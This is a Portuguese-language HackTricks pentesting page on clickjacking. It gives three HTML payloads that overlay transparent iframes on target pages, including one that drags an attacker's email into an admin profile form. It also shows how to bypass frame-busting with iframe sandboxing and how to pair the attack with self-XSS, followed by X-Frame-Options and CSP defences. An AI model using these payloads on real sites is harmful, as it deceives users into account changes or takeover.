hacktricks/pentesting-web/clickjacking.md

225 lines
12 KiB
Markdown

# Clickjacking
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## O que é Clickjacking
Em um ataque de clickjacking, um **usuário** é **enganado** para **clicar** em um **elemento** em uma página da web que está **invisível** ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
### Truque de pré-preenchimento de formulários
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
### Preencher formulário com Arrastar e Soltar
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload Básico
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Carga Única
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Carga Drag\&Drop + Clique
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Se você identificou um ataque de **XSS que requer que um usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável ao clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** ao **Clickjacking** e você pode **pré-preencher** o **formulário** com os parâmetros GET._
__Um atacante poderia preparar um ataque de **Clickjacking** para essa página **pré-preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
## Estratégias para Mitigar o Clickjacking
### Defesas do Lado do Cliente
Scripts executados no lado do cliente podem realizar ações para prevenir o Clickjacking:
* Garantir que a janela da aplicação seja a janela principal ou superior.
* Tornar todos os frames visíveis.
* Impedir cliques em frames invisíveis.
* Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
No entanto, esses scripts de quebra de frames podem ser contornados:
* **Configurações de Segurança dos Navegadores:** Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte ao JavaScript.
* **Atributo `sandbox` do iframe HTML5:** Um atacante pode neutralizar scripts de quebra de frames definindo o atributo `sandbox` com os valores `allow-forms` ou `allow-scripts` sem `allow-top-navigation`. Isso impede que o iframe verifique se é a janela superior, por exemplo,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
### Defesas do Lado do Servidor
#### X-Frame-Options
O cabeçalho de resposta HTTP **`X-Frame-Options` informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
- `X-Frame-Options: deny` - Nenhum domínio pode enquadrar o conteúdo.
- `X-Frame-Options: sameorigin` - Apenas o site atual pode enquadrar o conteúdo.
- `X-Frame-Options: allow-from https://trusted.com` - Apenas o 'uri' especificado pode enquadrar a página.
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva frame-ancestors do CSP.
#### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
A **diretiva `frame-ancestors` no CSP** é o método recomendado para proteção contra Clickjacking:
- `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
Por exemplo, o seguinte CSP permite apenas o enquadramento do mesmo domínio:
`Content-Security-Policy: frame-ancestors 'self';`
Detalhes adicionais e exemplos complexos podem ser encontrados na [documentação do CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação do Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Política de Segurança de Conteúdo (CSP) com `child-src` e `frame-src`
A **Política de Segurança de Conteúdo (CSP)** é uma medida de segurança que ajuda a prevenir o Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.
#### Diretiva `frame-src`
- Define fontes válidas para frames.
- Mais específico do que a diretiva `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
#### Diretiva `child-src`
- Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
- Atua como um fallback para frame-src e worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
**Notas de Uso:**
- Descontinuação: child-src está sendo gradualmente substituído por frame-src e worker-src.
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
#### Scripts JavaScript de Quebra de Frames
Embora não seja totalmente à prova de falhas, scripts de quebra de frames baseados em JavaScript podem ser usados para evitar que uma página da web seja enquadrada. Exemplo:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Utilizando Tokens Anti-CSRF
* **Validação de Token:** Utilize tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não por meio de uma página Clickjacked.
## Referências
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>